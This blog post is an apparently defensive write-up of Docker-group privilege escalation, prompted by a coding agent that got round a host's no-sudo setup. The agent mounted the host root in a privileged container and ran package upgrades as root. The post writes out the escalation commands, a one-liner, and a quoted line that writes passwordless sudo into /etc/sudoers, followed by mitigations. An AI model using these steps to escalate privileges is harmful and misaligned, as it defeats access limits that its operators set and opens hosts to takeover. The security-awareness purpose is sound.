dev user that had no passwordless sudo but did have Docker access, then asked the agent to patch the Ubuntu host. It did exactly what I expected: used Docker as the real root boundary and upgraded the host anyway.I’ve been writing about running coding agents on a cheap VPS and the prompt I use to bootstrap one. Part of that setup puts a normal dev user on the box, adds Docker for builds, and deliberately avoids passwordless root.
That was intentional. I deploy vulnerable infrastructure all the time to test ideas out. This box was another example of that pattern: infrastructure that looks safer than it actually is, because this is the trap people fall into with VMs, dev boxes, CI runners, and agent hosts. “The user cannot sudo” feels like a hard boundary, while Docker quietly remains a root-shaped hole in the wall.
The screenshot#
After the run finished, the agent reported a clean maintenance result:
- Ubuntu 24.04.4 LTS
- Updated packages successfully
apt-get check: ok- Remaining upgradable: 0
- Reboot required: no
Then the line that matters:
dev SSH user doesn’t have passwordless sudo, but it is in the docker group. I used a temporary privileged Ubuntu container with the host mounted to run the apt upgrade as root, then verified from inside the host filesystem.

That is not a clever workaround. That is Docker group privilege escalation. Pentesters have documented variants of this for years. The funny part was watching the agent do the exact thing I expected it to do.
The setup#
The security context on this box looked like this:
| What | Value |
|---|---|
| Daily SSH user | dev (non-root) |
| Passwordless sudo | No |
| Docker group membership | Yes |
| Docker daemon | Standard install, runs as root |
| Docker socket | /var/run/docker.sock |
So dev cannot run this without a password:
sudo apt upgradeBut dev can run:
docker ps
docker run ...Because members of the docker group can talk to the Docker daemon without sudo. The daemon runs as root. On a default Linux Docker install, that gap is the whole problem.
The technique, step by step#
Here is the chain the agent followed. Nothing here is exotic. This is textbook container breakout via mis-placed trust.
1. Docker group membership#
Users in docker can instruct the root-owned daemon to create containers, mount volumes, and assign capabilities. That is not a side effect. It is how Docker is designed to work.
Verify group membership:
id dev
getent group docker
ls -l /var/run/docker.sock2. Run a privileged container and mount the host root#
The agent started a temporary Ubuntu container with the host filesystem bind-mounted:
docker run --rm -it --privileged \
-v /:/host \
ubuntu:24.04 bashWhat each flag does:
--privileged: grants the container nearly all Linux capabilities, includingCAP_SYS_ADMIN, which makes mounting and namespace tricks much easier. It bypasses most of the isolation people assume containers provide.-v /:/host: mounts the entire host root filesystem at/hostinside the container. Read/write access to every file on the machine.--rm: container disappears when it exits. Convenient for maintenance. Also convenient for attackers who do not want artifacts left behind.
You do not always need --privileged for related variants. Mounting / plus chroot gets you most of the way. --privileged just removes friction.
3. Chroot into the host filesystem#
Inside the container, which is already running as root, the next step is:
chroot /hostNow the process sees the host’s filesystem as /. The container boundary still exists on paper. In practice, you are operating on the real host root.
4. Run package management as root on the host#
From that context:
apt-get update
apt-get upgrade -y
# or: apt full-upgrade -yThose commands modify the host dpkg database, host libraries, host kernel packages metadata, and so on. Not an isolated container layer.
One-liner version of the whole pattern:
docker run --rm --privileged \
-v /:/host \
ubuntu:24.04 \
chroot /host /bin/bash -c "apt-get update && apt-get upgrade -y"5. Verify from the mount#
The agent confirmed success by reading host state through the mount, for example:
# still inside the container, before exit
cat /host/var/lib/dpkg/status | head
ls -la /host/var/log/apt/
chroot /host apt-get checkNo host sudo required at any point.
The full escalation path#
dev user
-> docker group
-> control root Docker daemon via /var/run/docker.sock
-> launch --privileged container
-> bind-mount host / at /host
-> chroot /host
-> apt-get as root on actual host
-> verify via /host/*
-> container exits (--rm), minimal artifactsWhy each piece is dangerous#
| Factor | What it actually means | Risk |
|---|---|---|
| Docker group membership | Talk to root daemon, spawn arbitrary containers | Critical |
--privileged | Near-full capabilities inside the container | High |
Mounting / | Read/write every host file (configs, keys, shadow) | Critical |
chroot /host | Host root filesystem becomes your working / | Critical |
| No passwordless sudo | Sudo restrictions never entered the picture | High |
This is not a kernel zero-day. It is not a sudo exploit. It is a misconfiguration / trust-boundary failure. Docker group access on a standard install is often the same as root access. Treating it as “mostly unprivileged” is the mistake.
Real-world impact#
Any compromised account in docker is a compromised host. That includes:
- Developer SSH accounts on staging servers
- CI/CD runners with Docker socket access
- Coding agents with shell access and Docker group membership
- Shared “deploy” users that can
docker runbut cannotsudo
Once you have this access, maintenance is the polite use case. The same path reads /etc/shadow, modifies sshd_config, plants cron jobs, exfiltrates secrets from /root, or bind-mounts the Docker socket into a new container for persistence.
Other common skeleton keys worth knowing:
-v /var/run/docker.sock:/var/run/docker.sock: container controls the host daemon--pid=host: see and signal host processes--network=host: bypass container network isolation- Direct mounts of
/etc,/root, or SSH keys
The theme is always the same: if you control Docker on the host, you control the host.
Why I built the sandbox this way#
I deliberately combined three common choices:
- A non-root daily user
- Docker for builds and test runs
- No passwordless sudo for an account that runs coding agents
Each choice sounds reasonable in isolation. Together they create a user that cannot sudo apt but can become root through Docker.
If your mental model is “non-root user = safer for agents,” check whether that user is in docker. The group membership may undo the entire model.
This is especially relevant now that autonomous agents routinely get SSH access, shell execution, and instructions to “keep the server updated.” They will find the path of least resistance. On many boxes, that path is Docker.
Mitigations#
1. Do not add normal users to the docker group#
This is the big one. If a human or agent does not need to run Docker directly, remove them:
sudo gpasswd -d dev dockerLog the user out and back in (or restart the SSH session). Group membership is cached per session.
Verify:
getent group docker
id dev2. Use rootless Docker or Podman#
Rootless Docker runs the daemon and containers inside a user namespace. Container root is not host root. Setup is more annoying than usermod -aG docker, which is exactly why people skip it.
Podman is rootless by default on many distributions. If your workflow fits it, you get a better default boundary without re-architecting everything.
3. Prefer narrow sudo over broad Docker access#
If the goal is “let maintenance run apt,” a restrictive sudoers entry is narrower than Docker group membership:
# /etc/sudoers.d/maintenance — example only, tune to your policy
dev ALL=(root) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgradeThat is still powerful. It is not “read every file on the filesystem and chroot the host.”
Some teams prefer doas over sudo for smaller, auditable rule sets. Same idea: grant specific commands, not a skeleton key.
4. Use a dedicated maintenance identity#
Separate concerns:
dev: daily work, repos, agents, no Docker socketmaint: break-glass patching, tightly controlled, maybe only reachable from a bastion
Do not make the same account both your agent playground and your container root gateway.
5. Harden container creation#
On hosts where Docker must stay:
- Avoid
--privilegedunless you can defend why it is required - Block or alert on bind mounts of
/,/etc,/root, anddocker.sock - Use Docker authorization plugins or Kubernetes admission policies where applicable
- Audit running containers regularly:
docker ps -a
docker inspect <container_id> --format '{{json .HostConfig}}' | jqLook for "Privileged": true, "PidMode": "host", "NetworkMode": "host", and suspicious Binds.
6. Move builds off the agent box#
If agents need to compile and test but do not need host-level container control, run builds on a separate machine, a remote CI runner, or a dedicated builder VM. Keep the SSH dev box boring.
John Hammond’s older walkthrough is the same primitive#
John Hammond’s Docker privilege escalation video walks through a slightly different end state, but the same root cause: a low-privileged user can run Docker.
His demo user, mark, starts without sudo rights. After being added to the docker group, the user can build a tiny Debian-based image, declare a working mount point, and run a container with the host filesystem mounted as a volume:
docker build -t privesc .
docker run -it -v /:/privesc privesc /bin/bashFrom inside the container, root can write to the host’s real /etc/sudoers through the mount:
echo 'mark ALL=(ALL) NOPASSWD: ALL' >> /privesc/etc/sudoersThen the low-privileged host user exits the container and runs:
sudo bashNo password. No kernel exploit. No sudo vulnerability. Just Docker group membership converted into host root. My dev-box example used that power for package maintenance; Hammond’s example uses it to grant passwordless sudo. Same class of failure, different payload.
The takeaway#
Giving someone Docker access on a standard Linux host is often the same as giving them root. I learned that watching an agent cheerfully patch a box I thought was constrained.
If you run dev servers, staging environments, CI workers, or agent-accessible VPS boxes, audit who is in docker. The group is the silent back door.
Related reading#
- Docker - PRIVILEGE ESCALATION Technique — John Hammond’s walkthrough of the same Docker-as-root pattern
- Running Coding Agents on a Cheap Hostinger Dev Box
- Set Up a Remote Dev Box With AI (The Prompt I Use)
- AWS IAM Privilege Escalation: The Lambda PassRole Attack Pattern (same class of problem, different platform)

